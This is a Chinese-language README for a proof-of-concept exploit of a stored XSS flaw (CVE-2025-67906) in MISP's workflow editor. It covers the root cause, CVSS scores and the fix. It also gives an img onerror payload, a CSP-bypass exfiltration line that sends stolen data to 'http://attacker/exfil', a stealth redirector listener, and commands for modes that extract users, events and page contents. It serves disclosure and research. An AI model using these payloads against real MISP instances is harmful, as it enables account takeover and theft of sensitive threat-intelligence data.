CVE-2025-67906(GCVE-1-2025-0031)是 MISP(恶意软件信息共享平台)2.5.27 及更早版本中存在的一个存储型跨站脚本(XSS)漏洞。
该漏洞位于 app/View/Elements/Workflows/executionPath.ctp,即工作流执行路径视图组件。工作流触发的 name 字段在未经过服务端清理的情况下持久化到数据库,随后通过 doT.js 模板引擎在未进行 HTML 转义的情况下渲染到 DOM 中。已认证的攻击者可注入任意 HTML/JavaScript,并在任何查看受影响工作流的用户的浏览器会话中执行。
由于载荷存储在数据库中并在每次页面加载时渲染,该 XSS 是持久性的——它会在页面刷新后依然存在,影响多个用户,并且一直持续到工作流被显式删除。
发现过程: 该漏洞由 Franck FERMAN 发现并负责任地披露。
该漏洞存在多个 CVSS 评估结果:
评分差异反映了对影响深度的不同评估。NIST NVD 评分(9.0)考虑到 XSS 载荷以受害者的会话权限执行,可实现管理员级别的数据外泄和工作流篡改,因此涵盖了完整的机密性、完整性和可用性影响。CNA 评分(5.4)仅考虑了通用 XSS 的有限 C/I 影响。GCVE 的 CVSS 4.0 评分(7.1)引入了攻击要求(权限)和主动用户交互等修正因子。
在所有评估中,作用域(Scope)均为已更改(Changed),因为攻击者的载荷(通过 MISP API 注入)在不同的安全上下文中执行(受害者的浏览器会话)。
MISP 的工作流引擎允许已认证用户通过 REST API 创建和编辑工作流。工作流数据模型包含一个带有 name 字段的 trigger 组件。该字段:
doT.js 是一个快速的 JavaScript 模板引擎。它使用 {{= }} 进行插值,默认情况下不会转义 HTML。MISP 工作流编辑器使用 doT.js 将触发元数据(包括 name 字段)渲染到 DOM 中。当 name 字段包含诸如 `` 之类的 HTML 时,模板引擎会将其作为原始 HTML 插入,浏览器便会执行其中嵌入的 JavaScript。
修复需要以下任一项:
{{! }},该语法会对值进行 HTML 转义POST /workflows/edit/{id}
{
"Workflow": {
"id": "1",
"data": "{\"1\":{\"data\":{\"name\":\"\"}}}"
}
}
data JSON 字段中的 name 值即为注入点。整个工作流图以 JSON 字符串的形式序列化在请求体中。
该漏洞因使用客户端模板引擎(doT.js)渲染可视化工作流编辑器的架构决策而被放大。工作流编辑器是一个图形化拖拽界面,每个触发/行为都显示为一个可视化块。触发的 name 字段作为标签渲染在这些图形块内部。
doT.js 通过从模板生成 HTML 字符串并将其插入 DOM 来构建可视化组件。{{= }} 插值语法会产生未转义的输出——任何插入模板的数据都被视为标记而非文本。如果相同的 name 字段通过 element.textContent(将输入视为纯文本)或 doT.js 自带的 {{! }} 编码输出语法渲染,那么无论输入内容如何都不可能触发 XSS。
攻击面之所以存在,正是因为:
{{= }})name 字段中的任何字符串都会被浏览器解释为 HTML在使用客户端模板引擎构建交互式可视化界面的 Web 应用中,这是一种常见的漏洞模式:对丰富渲染的需求在模板与其数据源之间建立了隐式的信任关系,任何到达模板的未经清理的用户输入都会成为可执行代码。
<script>通过模板插值注入的原始 <script> 标签在此上下文中通常不会执行。浏览器不会运行在初始页面解析之后通过 innerHTML 或等效方式插入 DOM 的 <script> 元素。HTML 元素上的 onerror、onload 或 onmouseover 等事件处理属性则绕过了这一限制,因为无论元素是如何插入的,浏览器在处理元素属性时都会触发内联 JavaScript。
优先选择 <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="..."> 向量的原因:
src="x" 保证立即加载失败,无需用户交互即可触发 onerror<script> 标签的 CSP script-src 限制,因为执行是通过非 script 元素上的事件处理器进行的MISP 实例通常会部署限制 connect-src 的内容安全策略(CSP)响应头,阻止对外的 fetch() 和 XMLHttpRequest 调用。本 PoC 中的外泄载荷通过使用 window.location(导航)而非 API 调用来绕过 CSP:
// 被 CSP connect-src 阻止:
fetch('http://attacker/exfil?data=' + stolen_data); // CSP 违规
// 不被阻止 - 导航不受 CSP 管辖:
window.location = 'http://attacker/exfil?data=' + stolen_data; // 有效
CSP 没有任何指令控制页面的导航目标。navigate-to 指令虽在 CSP Level 3 中提出,但从未被任何浏览器实现,实际上已被放弃。这使得 window.location 成为在任何 XSS 上下文中进行数据外泄的可靠 CSP 绕过手段,无论部署了何种 CSP 策略。
其代价是导航对受害者可见(页面发生变化)。server/redirector.py 通过立即发出 HTTP 302 重定向回到 MISP 实例来缓解这一问题,只会造成一次短暂的可见闪烁。从受害者的角度来看,页面似乎是重新加载了。
外泄数据流:
Victim browser Attacker (redirector.py) MISP
| | |
|-- GET /exfil?data=<stolen> ---->| |
| | [captures data, prints] |
|<-- 302 Location: misp.url ------| |
| | |
|-- GET /workflows/view/1 ---------------------------------------->|
|<-- Normal MISP page ---------------------------------------------|
整个往返过程约耗时 100-200 毫秒。受害者最多只会看到页面一闪而过。
在安全评估中,一个常见的误解是 XSS 漏洞的实际影响有限("不过是个弹窗而已")。在真实的红队演练中,存储型 XSS——尤其是像这种无需点击的持久性 XSS——是高价值发现,恰恰是因为攻击者不需要受害者点击任何东西。载荷在页面渲染时自动触发。
存储型 XSS 在实践中能够实现:
HttpOnly,攻击者可窃取管理员会话 cookie 并接管账户。即使启用了 HttpOnly,暴露在 DOM 或 API 响应中的会话令牌仍可被提取。document.body.innerHTML 或定向 DOM 查询读取。当 CSP 等防护措施限制出站请求(connect-src、script-src)时,外泄向量会随之调整——正如本 PoC 通过 window.location 导航绕过所展示的那样。CSP 提高了攻击门槛,但并未消除风险。当 HttpOnly 阻止 cookie 窃取时,攻击者会转向基于 DOM 的外泄,直接窃取认证会话中可见的数据。
在渗透测试/红队场景中,像 MISP 这样的平台(聚合了威胁情报、IOC 和组织数据)上的存储型 XSS 尤为关键,因为通过管理员会话可访问的数据本身就具有高度敏感性:失陷指标、内部调查详情、共享组成员关系以及组织间的信任关系。
1. Attacker authenticates to MISP (any role with workflow create permission)
|
2. POST /workflows/add -> creates a new workflow, receives workflow_id + trigger_id
|
3. POST /workflows/edit/{id} -> injects HTML/JS payload into trigger "name" field
| Payload: <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="[JAVASCRIPT]">
|
4. Payload persists in MISP database
|
5. Victim (any authenticated user) visits /workflows/view/{id}
|
6. doT.js renders trigger name as raw HTML -> browser executes JavaScript
|
7. Impact depends on payload mode:
- alert() Proof of execution
- Session hijack Steal session cookie
- Data exfil Extract users, events, API keys from admin pages
- Credential theft Inject fake login form
| 软件 | 受影响版本 | 已修复版本 |
|---|---|---|
| MISP | <= 2.5.27 | 2.5.28 |
修复已包含在 MISP v2.5.28 中。相关补丁提交:1f39deb。
poc_alert_cve_2025_67906.py # Simple PoC - alert() confirmation (~200 lines)
poc_exfiltrate_cve_2025_67906.py # Simple PoC - data exfiltration demo (~150 lines)
cve_2025_67906.py # Full exploit suite - 7 modes, custom payloads
server/
redirector.py # Exfiltration listener with transparent 302 redirect
poc_alert_cve_2025_67906.py:极简且易读。注入 alert() 以确认 XSS。建议先阅读此文件。poc_exfiltrate_cve_2025_67906.py:极简外泄演示。捕获受害者邮箱/URL 并发送至攻击者服务器。cve_2025_67906.py:完整漏洞利用套件,支持 7 种载荷模式、自定义载荷及静默模式。server/redirector.py:捕获外泄数据并将受害者透明重定向回 MISP 的 HTTP 服务器。Python 3(仅标准库,零外部依赖)。
git clone https://github.com/franckferman/CVE-2025-67906.git
cd CVE-2025-67906
使用无害的 alert() 确认漏洞是否存在:
python3 poc_alert_cve_2025_67906.py https://misp.target.org YOUR_API_KEY
访问脚本输出的 URL。若出现警告弹窗,则确认 XSS 已执行。
# Terminal 1: start the exfiltration listener
python3 server/redirector.py https://misp.target.org --port 8000
# Terminal 2: inject the payload
python3 poc_exfiltrate_cve_2025_67906.py https://misp.target.org YOUR_API_KEY --attacker YOUR_IP:8000
当受害者访问工作流 URL 时,其邮箱、用户名和页面 URL 将被监听器捕获。
# Alert mode (default)
python3 cve_2025_67906.py https://misp.target.org API_KEY
# Extract user list from admin page
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--mode exfiltrate_users --attacker YOUR_IP:8000
# Extract event list
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--mode exfiltrate_events --attacker YOUR_IP:8000 --limit 50
# Custom payload
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--payload ''
# Quiet mode (minimal output)
python3 cve_2025_67906.py https://misp.target.org API_KEY --mode alert --quiet
{{= }}(原始)切换为 {{! }}(HTML 编码)name 字段进行服务端清理(去除 HTML 标签、编码实体)本工具仅供经授权的安全审计、学术研究和教育用途。在未获得系统所有者明确书面许可的情况下对系统使用本工具属违法行为。作者对未经授权或恶意的使用不承担任何责任。
| 来源 | 评分 | 严重程度 | 向量 |
|---|
| NIST NVD | 9.0 | 严重 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| GCVE (CIRCL) | 7.1 | 高危 | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H |
| CNA (MITRE) | 5.4 | 中危 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
| 模式 | 影响 | 前提条件 |
|---|
alert | 确认 XSS 执行 | 任意用户查看工作流 |
alert_info | 显示受害者的邮箱和 URL | 任意用户查看工作流 |
console_info | 将用户邮箱、角色、URL 记录到 DevTools | 任意用户查看工作流 |
exfiltrate_users | 从 /admin/users/index 提取用户列表(ID、组织、角色、邮箱) | 管理员查看工作流 + 攻击者监听器 |
exfiltrate_page | 捕获当前页面内容和用户身份 | 任意用户查看工作流 + 攻击者监听器 |
exfiltrate_events | 提取事件列表(ID、组织、日期、TLP、信息) | 任意用户查看工作流 + 攻击者监听器 |
| ID | 战术 | 技术 | 相关性 |
|---|
| T1059.007 | 执行 | JavaScript | XSS 载荷在受害者浏览器中执行 JavaScript |
| T1189 | 初始访问 | 路过式攻击(Drive-by Compromise) | 存储型载荷在访问页面时触发 |
| T1557 | 收集 | 浏览器内对抗(Adversary-in-the-Browser) | 载荷在受害者的认证会话内运行 |
| T1539 | 凭证访问 | 窃取 Web 会话 Cookie | 若未设置 HttpOnly,可获取会话 cookie |
| T1005 | 收集 | 来自本地系统的数据 | 外泄用户列表、事件和页面内容 |
| 模式 | 描述 |
|---|
alert | 简单警告弹窗(默认,适合演示) |
alert_info | 显示受害者 URL、邮箱、用户代理的警告弹窗 |
console | 通过 Console.log 确认 |
console_info | 将用户邮箱、角色、URL 记录到 DevTools 控制台 |
exfiltrate_users | 从 /admin/users/index 提取用户列表(需要受害者是管理员) |
exfiltrate_page | 捕获当前页面内容和用户身份 |
exfiltrate_events | 提取包含 ID、组织、日期、TLP、信息的事件列表 |